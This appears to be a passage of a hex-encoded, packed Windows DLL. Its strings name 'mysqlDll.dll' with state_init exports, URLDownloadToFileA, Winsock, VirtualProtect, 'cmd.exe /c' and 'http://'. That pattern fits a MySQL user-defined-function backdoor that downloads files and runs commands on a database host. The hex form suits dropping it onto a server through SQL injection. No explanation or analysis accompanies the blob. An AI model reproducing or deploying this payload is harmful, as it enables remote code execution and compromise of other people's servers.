3C3A8FC63B4B42A197808CA6681660CF7FB3360DBD2525E06900802042A635FC5A8648605C2F6FD1FE5EA460D409C6C48C5F7D8595E1B4B5F015E991B2E0C8957FBF609705C8080F9D53766A908E0B36F1368317B907E2657503BBFADE0401BD00E8B8074DC0DB4EB0E24FD07EB072483CBFF30351A9B81EF8B5FF6F5C154F85CC185B5ACF1279788D15A63F90E7A593917EDF118D97E74A1BBFFCDA30AA57A745FF6401D32AAC18561ECA218591A8517DFBB806DC11830AF01750F505222BC80D608851D37C597B58E4A50FF028B1A7536B654EC020BF841CEB04FF44A9DE370EC463B737C8CB1423914D98487B70160C37402FB5B36E42806FDA08A7477A50538839E890BA9639456E1A05FD68E48A06017858ED552908E4C6B80C4EAAF3109BB47752053951FDA5B57F7079E8D4614759F0658A54A340BA518EB56044261DBB65E097E123E0704C53F7CD5E1EE02115B5F5B5E95DD0001C3A150DC9BBA831B0B3F6116D080660DEE6118962668025B6C02664959538926F4317D0FAF7D10012334068B5B078BDF3C2E9A45D7CE0AA8AE74157E457AFB96A27C4014A78B7781E10868B1ABEDE67429191174229580AB1616697212F863F186A53FA9495C297E393EF62BDF017D321EBC6CD046147246CD63DA56A250177A4E74D391EDADDDBBD2F76B402BFAEB42FBE3F66B1935744701982BD83F1A608976723EB00729D10F234482252450E9D42E4AE0BE169FA44BA586D8080CF1A7264385F0385DD08157106F6A23B633A465C72B7483E7FE545B3CCF56C179148A0141CEF06CA387400E75F1B3ED814975AA01605E2CDD0623955CE88AFC2B32B9A7BA51C724A95E1306B6F57EA30719EBCD8D41FF559CC309824C32C9FEFDFCD126301C8687398FA4DF221A7A0BD2F86E8A073C61051BB4F4741A3C727C3CCC22BFD1D675FE0192EB20C99601EB08B909786157731209405A8A1D473AC31DB46DB6B5E33BD307DB60BEF652DB85C016547F3E601A2B74450475DBD6F21974360E61484CAC1F39FF2C98AD6108A328FC83C920EBB72F7D2063148E10EBA22240757D0BA54D6F0940EB982C7573E993E6006EA0B7FC0F0281CE0DEB82B8BA7D5C782AC8860BC834DB656274BE8BB60DCB2E070B42067540F6C5B6B7D8B7C73B80CD401E63F8752E5FF89315FE0A37E6FFBF9B16175DECD521CE84163A741DD9621B8DD20B418068A4D71362C3242210EA4C917EA9543C7DC4103BCB7D701A2C68DB12B73A896A89588018040859334A6C021C82005196FB871825A0590F8E9D7855AE209F1F3BC374377521509175ACB30D1BB16D14501D16E97FEBC4EBBA3CB1EB446A38C1E602C23268066B62600E56063A65306C327A7815DE4B1B96B3273CFB384F108C5F58DB56B604020CBF1F041C7EA1819D355975CC00D885F6E36DFF118DA424AB8D6406075AD5AA838AE5531FE0FEC7780B3708F7C2DB138A0A4238D974D18437EACF9683511275ED0BD857FBE310281E4BB5560893BFE5F8F18D6E5D33CB0365F983F1FFF0CF33BF3F4A3770C204EEF3751C250674D37F51D83AC508C1B475C45E357E0B5A808C8B42FC38D867A67BD33713EF38DC742717E7C1E81012157BD66E9ADC06D4EB962DB142FE377A38279D06FDFC0494C36B20EE5002FFD0371404E634449EEF32AC0E0400F3C3F32CC015505431F5DF64B1025F0E57299A11FC45438A3999947511064E18C1096C987394302FFE36C50C00E714892290881DC2F5115EDF753C8690D7C58C568D71E2EE112F52F07213AC9A83EE04883CDFC7349073ED5E972018AD20CF57A1102824851B7B7F8D5BC50BA35FC3816A9480BC60711B88116A0DEC08B25DB038E194D7730D70F6B55660C6FB6A192A6339BBB1C935A4F6C08490546A74E2A0D18E50ED8BF06B7875239F5A93565B8490A04018A50A8CFD37333859109C0462BF193868305333528CA116131E782F690E182FD118D1D80D41C3BB505244A06D10F00653BE5660368B9464F20D1CD94730B00D3F8A26684BC9911588EB227536D99B1059ACF545305BC392D09113D0022FDB610D506E746CF12499906D19450D283009999009384098EC9D9044503DEE10560B0EECA4FC00CA5E4F16D4E81A48506896046AD2546CF4691B8DA62874879FD9942100DE784F9B862947731E8085F74FECDD0EFF8BC646050AA127E253F4A8DF24051FEBDE784B518CBAC46620EA001F5B9B86281ABBC6388DD98DDD02AE1A81EA7D0851F8BAB787897C79E3677D56BE4C84983D04CB930D83839A1F6B556AC082C1731C806008F6D6A55960408B0E882481C1806DF5CC31E06D4D7CB76E8B130D1588092ACE4C3B04BCB1508BAAF926388A03BE126DB4BE32527572AABC04ACA41A4123404AFD37E0487D8B0989088A0B88488F05BE558B0AFC3BF77CB485016FF04E5B23333C81FFFDAD50BA3C754D290E2F75056AF658EB099B09BA92C348C397F50DC96E1BD0B84AFF7A175770340A9D800C5B0A25C1068D1B9906804BA40FEFB6700D540A0A700405804383FB6130F2E1037C97B89480B40638B491DEBE7B5E375778A8F0056E4673218D70837BFC00FB7DC26DAC0B7C2083C79683C324C8D00CBA2072E2854824720F338825B85473C487A01D94885B155434811237F8D58DCC6B8A069ED218A996783C3D74A756FA8DC26D4B140AC3E8F9BD581D3F9EF1C63B3BF3318E74410955BF1D267B41381F74395583D8ED8F348BE85945803F49225534521DBBCC54C02E579D4F6C67C4BEFD9A5903FD3775C95DFF84C28934C768BF1D0B891EAE9484015BA2BBB25983BDBE8A98994FC1A75456530DC0A15A84E38FA2848BFE3818747463A5FA7DA307FC5053539F37B4040B0CDB05C90488D486186DD8A46BD6A1082F2700C34A7424864635A6A08D355F485A6C9C9232B1458A68B14C18D147EFF317208321008B7510C700B50156B0802BEF4937A05BFFDFA0AE80382275448A50014080FA22FE84AE1B2FFFD274250FB6D2F68292610425FF012B3B3256FA068A108816F60BD5EBCE0C6E6FA11124CB46401CEB43F2B645C61E05044044DAF683D6DCFD5B1918881E4665207409090870ACF5F20975CC750348C34A66FF9A5AA946B5674EB5E003F0BE66442B052787A281993117C8BC15CE169739FF02FB0885FA5AD0B8225C75C8DA922C7FE1C6AD02752541397D6D0D807801228D86257A6BE31D8BC2EBA3080CF0DB770416180F94C28905D1EB8BD34B88F6EF02F30E4388C6065C46B16AADAE355980A74A4693682E4C67168A3F863D1306ACDBE32E2819E2061F7303C2091B0F400315016B43F850BF38A0300F0E95A9E1EE6EC70383278E140246DDD1306449258F9C5378446DA830D4E06CF633141A8DCD4D04D50E0B49180F407B7B21892858CC428BC6D047F317EA10C700CE1B02433A45DBACA33CE581430C3F27C2BDDD5A3766391E6AEB4040081875F96DFC419F06F22BC6CFCCD1F88E40DA2A5AA3025D038A345852EB0DCCE83BEBAC3213B75683C9AC1C55508D3A57D05C242521D20C10CAB56A90275C2703F6756B0C92C888EB53624CA54A0592B985B1566089DFF6858D740A40387BFB04F62B223760495B6A55CE03F6EB727180A50BBA560F91E248D0CEBAC4BA9E5D5B20070261ED572A381026E821681A536C106A7450A213FF153A152B3859450C163A448330D4653B5BB95BD0D7EC084144F77CF0DE6889F134F18E033B961ACCC230B7471C2A6C45E8F75437E9700D10D77AFA75037A08B60BF18F5CBD59A522560055016B47C1BA30131750E0506DD65B3A3B591257D9BD07A8D6D90B3040963C76291950BBFDBE7076F80D838D6A0303F841DC5739B99D10B3105560FFC05D36763610570C7C1DBC7D36EB9E10FFB6D3C41611681020F8F6B9ACA927945450592C5FEB26165A6C81A38D30C7F23612B1DD0482086AF4D56CC881110FD85EC90E40C128265325F34226D911163C8B14C0012B0C8329EB2D3983D71C90A756F6DC784CC8D5EB7438B125213EF950E99ECEF2B2D61C11A9AEA880643C287BEEFD8DAD8AD73D63F3831881D51404B03582AFB210EA02F01B61E0594E3EE9B3B68D4B38F7881CB50C80F4C025622BC08B03317E30641C5E45AB0EE3A24C96880D535B24C67C80066F04368EC1F10C5229231AE3AEF90F86EAA0ECF1EE5BD5416E2BB64D1073290AD62EB045A58A95F90A7409FFDEBED0F02B0D408808EFC88D95292BCA81F9883D3655127CCC8911DBE3393ABFF4130D6B71FF85A061C634300C6343065FB6F6D20145E8C77C0B0964454510728A9960E96DD98B134E90464868B5BF8B74626A055E39B51D177F2126FC8930EB41B456EBC78D4DF4575CE6BA01B310FF43640B2EBB51CED14FEBA72C9C1EDA241C06E02C9720405AE8A015F52CEA1A10AA6C4FF24D666E1C38EBD2A4F007458258DF02F1B516CC808C6E6DFDFEAD068E6583490C08C741181BEB1103CEDDC80C494114181276D4525CA25E83618A011AE0188DF93B377203DCC883E17018AF362C368AD1A1D81C331340E58CC009FC7591345730E486E0D55BE159519130D716D76A138E1DB69AE51E5B00DE3FB41B155A22DD0CF3A00AE11ABC7A1EFBD82BD7246046735A732844BF5A020BA68FCC6C5DA0702B700C66C8077739D80A6DA14BDD581A58B26575F1A436CF51A08B84600C33C2CFBD1A506820CF118FDC6DCCCC208C4106F80E3A2AD716B6195F41CC00CDFB55B88A6D180B7718CFE8BA37C2F72AF18BD8090C07D31139A050D60C3215FCFFCF4913D1E9D1DBD1EAD1D80BC975F4F7F3B014B9B684643D2150F7EDEEBB2F7DD1720E3B27770872073B2B76014E4C4B56D84A7FDEC27F6F2A0E7AB3D96E506EA833B6517405C203506E10DD66C85E0C156EC814910410BA37CD606B0C0E0876082BBB1B406CA6DB11140708BDDA264103BB27DA007C3F26A8742AA6443D71A376E9C18BD1783BFE3DEF0F82800E036A738314ED6F4BDC8183E2EEF95E29F3A5FF249513A9F1DFD6426811BA1C83E904720C0CB136DB8F62C86D41801E8D789075F3B9C70741FC900403BCE023D173DB852F1188078A46BE470105025608938C2D5B59C6C75CCC8D96652CD949002B25010202EBCE2679A690234621473F5DD70DE48C065F034C0744374DD3343C342C241C8B44344DD3FC8EE489448FE4E8E8ECECD3344DD3F0F0F4F4F8CD39324DF8FCBDD7007B87B01027F809FFF00305399AA6808CA0BC6C36B0D766909D0BF91133240417A30D0A2BB8555B0D2531C639FCD8F692417F240DFDE3FC77823BC2E54400F7D96543B04B8F779E9C1CF92B43082CC2D6745D900B180338606D033A02F275B76F034E584F56B6B74B08F6971FA3EE02EF026FD9807C298C902724E3952D09AB2D03AE45EB1666625A955B7FB403A6699AA6BCC4CCD4DCA6691A9AE4F7971C1C189AA6699A18141410100C699AA6690C08080404A6EB0E231F05100318E05A129A283C8BB7B56C21CC96870F8313112A210CB700ACE86FE2570FAFAE83FEE08BDE770D0000EC1A0C2715773A7256B4D59382AB1D3D530256F057752B566A082A898850D71C14229893820F56741956947414EBA96A72A31644577C54EC8157B40E5BEB56D5612ED4230603EE265D565698182B52F7616904FC8AAEFF41BE0D50BCC5273ADC3701435C147C29985047568D7C07FB2D162BF90CAD240600473B5B290E2B1E7CA55E90C3B6CA11C56056821834BFA3A546088B87803B08742246C2ED46D988E80713720FF9240A606106817D0D4C02DB6E8350F531845E39C3D9AC60B6DDBC17721507CA532C1EB22D19080C16334BA55C1DE660080C7BD27502BD40DF1283CFDEDBE158EC22C90314BD737500A20F08B1443C998A74F6466221F816F87544837E5F23E886DE04FD0C958D460CFE1EC413ABFF4620ED8D5E0C70F61B090D803874180C84884388239F4500C3A585BF2D50DDE52B116A245999F7F9D1F03DD4A80336C66D2983FA3BF137EF2083C5044381FD5FA40F8C5E3984F86E23EB4EBE3E56B93E126F843E8D0C9DA9901E9C5F8684F83BC27318C01103D6EBE48D0815EAC1E30543C70B2256C9A012346C430BFCFE07563B0D535773F7C1903683D0C93CC18F07833C50B0DA28E4361AF51B053E1E751EE28B104974084958DEDE680284F4EB0804F5EB03F6A337DE4600E836891C308A5BEB161EE4C2DA027F7B5882864329F459376A830037C674320E1F5AC9F31CD6CA7E50505031C85A7B830CB2247ED4CAE264CF731FCCA3AD8D8800AB740F00E16AD8580841533AFDECA4963B343D1C063CC0C1E7154A81B1BCF749D418C5604B9E381780360CB2AD2C98248184E169CA5190C61D5642D4920179728BC3C36C8BB1E14E4152530411590F250306F029535DEC60B404CBF0F6D915B7B10211B0FF0336E4106AC0A359B43809F2A22CDEB43F4AA87BF6F30549C0FF4AB890073C9013082CBAAED003FC0C203F087900724AA84AA8A6E9BAD83F069F038C848BA6699A7C746C645C3F5D3B8F004AA8F003C00164D134CCE03F39859CE44C404BF04B4845D375DD2C900B580378A03C0239903F4C404C405D171B855B7FF403FC344DD3750E04030C141C24871160D1373F1F164DD37505500358687C3FAB2F4A003E1CCCA0022F907956F6C112883F1594D9815DE874095900FE37ABC645FF10EB0B8065FF8DECFC0FC0861A806811F6C540750839B72F455328E48B4DFF806A83C15E02056083236DC3DE2374001680E1A4C3F96C01175510100840EB07F60D4A30797FF810742604ADB7F2F220741830740A5074897505216A16A21521020C2ABD7CDF060389F0BA00077D0423CABF54B47F037D3BC87F31742A3BCB43C3ED4AB06D195433744D0739BA91AD85CC43F84C0804BAA67B7B435AF8EB3E26052F070643CE806F1E3BCA7423C2163CDD1188188F4F5B3B0507E69EE00113FDBEFEFF32FC5DF4C77413368E54F7D1234D143737B8DB1172A840C581CE1F0FF601F6ED63DBB7C4DE020BF7A8DF081408EB0AA8115D2CBDB1060B1068ADD8233BD39241E0DF751AE918016D0D8231816ABFB78D0A9E2DA82BCEF008022D6030EA3BAC39BF4213628561325256E8B383459875090A18EBD8D583F9B19A4DFF40EB09AF08146C410F78473159812781D6C68A11C380C901C630045A8452C9C2DD05BEFF0B48884CBD7578EA7473F606818116F502746D8B945DA2220B1E8B067519FC35008FBE813883E94B1D2A1759D888B60DBCEB584213E2137C677E2511335669A116807D131A11825F178CF015554445E2811980C73E5A74B52DD81C2EAF737808AB60072DDC07808B8C4E8BF390E005C916713F8005431467736A081E8233918B09570441464E600F3B32B24C245B231A0EF2F2B64D79D50D04FEEB08FDEB03F4C11A824C0C5F198A1141AA1EEC1BF16488174762EEEB05838C00F0D32401119C2CCBC983C1E134271208006DCC6AC738682DD9D2D96608C6C3000C085DC049B38807CA185A1965872312F52A65520945A9F88959AC913859A6E80AB82C06F651FAD756F29B6A0A8FD2268988391874744617CAE630428A78A9E850538B58DA71F0D73BC6CC214D628386A240C893715963FF25DAE2BF94603975E8F3ABAA895D0F6C16E8D386EBD77DEEB8BC4DEFDD405B2B04D30CAFCBB641FFE87BA312CA300F87942588CD546C9CD28DEEE356F7E58D614F6F52F3AB04AA8D9E94FA52A15498BCB6DE2C8A5101E84B51844B5CFA3BC777B7EFEE2D68FC8A922080089047401376F5F84BB1F04141803965D47983C308837DFC6913B93638C1E2C8914CBA6DA087F750A3A4105384898C2AB8BFDF709140A5A559A3D1A5EB5240D1B3A660810547A8C6A19EC57EF508403DFF07F153382B89357BDF06F15335250700BA49F88816ADAB00981EA84C97DFE75E2E8604AFE9508301D08C4311946FA857DA70EF65402DDFFE01A8946CBBE78FA8FF1570F814FD9635D1CBF4FC750F87DC19F6AE1CC7492DA463E7E804741704D7A628F00D740C802CB804F93CCF763605120B0811578460862571BEC01F88E1625F044CE5CF52B1404522283456A166B453962215127FE081E016CFBE8C888405ECDF7FA1150D8AC672F48A45F2C6850D20166E104D3B375A55F3B80A2D415FA0183BC1771D48BC3A08768F2A41B820008BD9CBAB6B81FA47AA42428A42FF84C15FF8EC352C900EFA8B358D7A029A33D0213989B2EF8C7DDD5A9123FD1D561E9291DD6C5634235842FCAD803DB8682E2768002E7DB75CCA8D8D726695F6C2CDEF67341503108A940564889060EFCEC9DBEB1C1A027410205BEBE380A06E6834781CDE4400BFEB491ADB0D1315DA417219045AB2BC8DFDC34BC880C1208888491F1D617213C3DE9CBC7A770E20E920EBE04C77F915774ABE5EC97394886AFDA90210F970505C59FC94882F1FD575798FAC426866281854FAF7403D6709FC161C57FFD664BEDB29FA297450100CC7D7BE5DA0F85714B00C06B45B99A0BB88CD16FFD0D602DEE66BED10B405531104EE1590601D4D0AC00982FA8659A057040481282056B064F0BB470B0C85965E91F983FA982DE9ED6A47C025152BD16075FA9AEF10D06D020610CA1A251C8E1D1429168F58A6EB3A06234AE2EB8807351E94CC5289365A271ACF0D56AF1235140FCBFFE1C3A0B7AC99AD78F2971B180A0360B615DCC1A8F1223E1975EF13A0876A064F4AACEC508B9E1D9C345CE66D442C51681C4C147D452E6AB6AD50293F89B1C1E0939D084B1A6606AB9F44BC3805750BBB0D416F064D6B50AF256BBC5C487D469512980708D0E250853014526D2FD050BCDE1BF6034EBC05A908D81A4A8615B06F126945FCDE30A22DC25B53C366A035AADB9C65F874E144346021CE0C29800750A09543B566401343E0E0043812F107C406F98A4804657FAB99A5DF89084B1D8A40053C0A84BED01D154D1088E4078D53010F8B459718C682050ABC160C166D515452B810448B664DDB39AD976865D1068F1496935166EB006D912446E98B17684D8B3D4BE1F40155F64235D144E68AE5A87CC50EE0D0F876EB3B0A81A274BBBE0C04E724FB027FAD0D03808136C85B00140C0075FFD06C0B23578A101A33AE3CD45FBB2D0D0BB443FF135A12493944BBDD2DA2182140803848068308CDCD76BF5F5EC6030D4344EB73CA2BD36E3260E7FF6A01CF0A090E683BAA479F74411ED101A2358848D12D821A85FF9D468B0F4388443105EB293B700420DEB6250CFF6305160AEB18A55E40D812FFA9193507AD9C7B77BF925B761A750D85115C74F3064942D12EE5E4AC062B4688210250A8EAA9D800F91131357540346A46C42BF87D5BF41F8AE875465757EB533038154C20629236B1F2DBCA6A711D23EB222014A660B0341B48E1FE033130EB651DBA397D147E108AB25936C514105A66B67DF436E1A11D591D161C0286D98CD9181FD84872DA478DC159D22AD3A62018366B5B0CBE3C20732EDB6CB74EC1245E0140503720CA3F408C4C793BDF0F849CD25B6CA014041B9C0324FCF25DAADB2EDE8BC441DC8367EB138DB5D751678BF026118BB5D9F6AD3867DC7466534CDC6121CB9EEB9257F44DEC1AA574A3A6884412D80A7432B06D4B6C5E0D40403E1C78B2C8663713EDD57F1EDA321C0962C321858F2065C814876515F4A1F20BD966B6B336DC895DE08B15483212BDB27DB953D6BDDF74B45664E467749C8F6AB35BA3B30E03EB068C28EDD5618F54D5CC0AB11B88108B71B77179088B2680AD9F44568D4A9E0D7FBA0DBA5580F1491AF30C5E5CC60736942B498BC24E58ED61328118B4ECAC375E2D043E3E8A515E564234632356A53C0497CFC819DF1D1B56495340CEC2C73B028658A3432D24F276607CDD1C490554CC335033E433B263345BC8945D18908DD9968D532C34201BC53619181FE0DB630AD06A15B5CB3EBB15B0107CD3DC57CC0FE16050B3EB0B83DB33ECB6119CF6112949E0565FF670C9DA1C5552F8D7B2703A84933C8AF5CC38680C42EF047AC25F9A51D4E7023A01752E0A1BB1D552F0263A613E0A431D966EE146873A4101191411035BA330D56BFDD51A75555B430BB3FFB090D3D18E016DADCA0B4301070242B5CFD6ED44E94130E01302A86658AD799AAF335BD2CAC9C14A6D42AA5BC98CCC4F56530B4A55B050009C1B201AFFAE023307420FAB0424EBF3775DFE5ABB8C90416E14460FA373F201E6E20204C420753F98FD646C3A0AF38D46FF3B9CB8ACF87B5643BE51EEB60E56485481DF4C03C12580FC8D161DDEBD0A80E17FEB0D811FDED0540440391180C980DE880A81440B8D6686C5C671D0419080E3D60AC0C006A0A8487D065C9C249E5862050D10565D7426E8BC00BF83C410E0AE41C305E3CC0CB568E12EF1C6012D415CEB030A915B4013D4B88110B5DAA5DAD2630883FB0950769225FF2F7D6B2004308819413577DA802100498A178A018878007F8B118F49473BF972F21B365341486FFF948BD6A81E588D39C470CD4143A1D03B5CCF252EB6C1FF46758A274738C474F22C419D1AE324EC85D2E1C5FE4186E00E824A6F1474D21AC0E6FFD1575F3AEB78F0FFBF34019130007F0419C0D96EE2EB15130DC9817888C2C77895FFB541599EEE9067271FD82E760B3E6A602266C4040907B742A68D38CFDA39CB15580B0318AC05224EEBFB55D0C2052241280EABE097CF0B6C112836D1E970DA0C1B1FFF804EB741B35AB6201726828ADDFFDBEE0774217F1D467BFC720638DC770202E638F809D8B517BA35C6F7750DEBD733C908023657B34D9BB9AFE582806D6AE4BF0FF35FA6ED85B50A321926EF2BB446AB2F99EE57EBB68DDE5AC3EC74230BAB1F775165EB3AC0F0596B0979D584B5634DCA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D36000000000000000000000000000000000000000000000000000000000000000